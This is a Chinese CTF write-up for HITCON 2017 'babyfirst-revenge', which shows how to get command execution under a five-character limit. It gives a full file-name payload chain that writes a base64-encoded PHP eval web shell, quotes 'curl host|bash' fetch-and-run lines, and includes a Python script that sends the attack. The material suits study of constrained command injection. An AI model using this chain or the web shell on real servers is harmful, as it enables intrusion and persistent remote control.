(4)5位可控字符下的任意命令執行-----另一種解題方法

有道分享鏈接:https://note.youdao.com/ynoteshare1/index.html?id=55e53db4f857d81515e57e104777b88b&type=note

 

前言:

 

題目是hitcon-ctf-2017的babyfirst-revenge,之前是針對babyfirst-revenge-v2來進行學習研究的

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

orange師傅給的方式是通過拼接執行來getshell

 

curl 10.188.2.20|bash
curl orange.tw|python

這裏的我也是通過orange師傅的思路想出了另一種解題方法。

 

但是可能因爲是環境的問題吧,系統一直把

 

 

>\;\\

 

這種長度識別位5位

但是網上給出的解釋和orange師傅給的題解都是有這種的

說是後面的\\長度只能算1

所以這裏演示只在babyfirst-revenge上進行演示,如果環境可以的話也是可以在4位下成功執行的

 

預備知識

 

1)通過>來創建文件

2)通過ls的-t(從晚到早)參數來基於時間來排序文件

3)sh a 會把文件a裏面的內容當作命令來執行

4)使用\來進行命令拼接

5)通過base64來避免特殊字符

6)輸入統配符* ,Linux會把第一個列出的文件名當作命令,剩下的文件名當作參數

>id
>root
*           (等同於命令:id root)

 

 

7)增加字母來限定被用來當作命令和參數的文件名

 

>ls
>lss
>lsss
>1
*s       (等同於命令: ls lss lsss)

 

8)聯合知識點⑦,通過rev來倒置輸出內容

 

>rev
echo 1234 > v
*v    (等同於命令:rev v)

 

9)通過增加ls的-h(把文件大小顯示成1k 1M 等形式)參數來讓調整-t(根據時間排序)參數的位置

我們之後需要用到rev 倒置輸出

所以需要列出這樣形式的文件名

0>  t-  sl

 

 

>0\>
>t-
>sl

但是實際出現的效果是這樣的

 

所以要增加-h來把-t往前拉 

>0\>
>ht-
>sl

 

10)用dir來代替ls不換行輸出

先看下ls的效果,寫到a時每個文件名都是單獨一行,這樣會影響知識點⑥的命令執行

看下dir的效果,會不換行輸出到文件中去

 

11)使用${IFS}來代替空格

 

正式開始

 

首先我把下面這段代碼寫入到主機的0文件中去,然後後期再傳入攻擊payload時。通過sh執行0文件即可生成f文件,然後再讓sh 去執行f文件的代碼內容即可得到一句話木馬

 

ls  -th  >f

所以payload如下

 

>dir
>f\>
>ht-
>sl
*>v    (等同於命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0   (等同於命令:rev v > 0)(0裏面的內容爲:ls -th >f)

這樣我們的payload第一部分已經寫完

 

接下來我們需要把 這段代碼上傳到主機,其中的內容爲(<?php eval($_GET[1]);)base64編碼後的內容

 

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

這裏我們看到其中出現了2個空格,這裏我們需要把其中一個空格用${IFS}替換

 

否則新的空格文件會替換舊的空格文件導致,攻擊payload失效,所以變成下面這樣的

echo${IFS}PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

 

那麼我們只需要將上面的代碼拆分倒序輸入到主機即可

 

>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\

 

 

然後我們需要讓sh先執行0文件(ls -th >f)就會得到f文件

最後再讓sh去執行f文件即可得到1.php

 

 

最終payload如下

 

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>0
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>7\\
>Sk\\
>X\\
>x\\
>Fs\\
>FV\\
>d\\
>X0\\
>k\\
>g\\
>bC\\
>h\\
>XZ\\
>gZ\\
>A\\
>aH\\
>w\\
>D9\\
>P\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh 0
sh f

python腳本

 

#!/usr/bin/python
# -*- coding: UTF-8 -*-


import requests

url = "http://192.168.61.157/?cmd={0}"
print("[+]start attack!!!")
with open("payload.txt","r") as f:
	for i in f:
		print("[*]" + url.format(i.strip()))
		requests.get(url.format(i.strip()))

#檢查是否攻擊成功
test = requests.get("http://192.168.61.157/1.php")
if test.status_code == requests.codes.ok:
	print("[*]Attack success!!!")

演示效果:

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章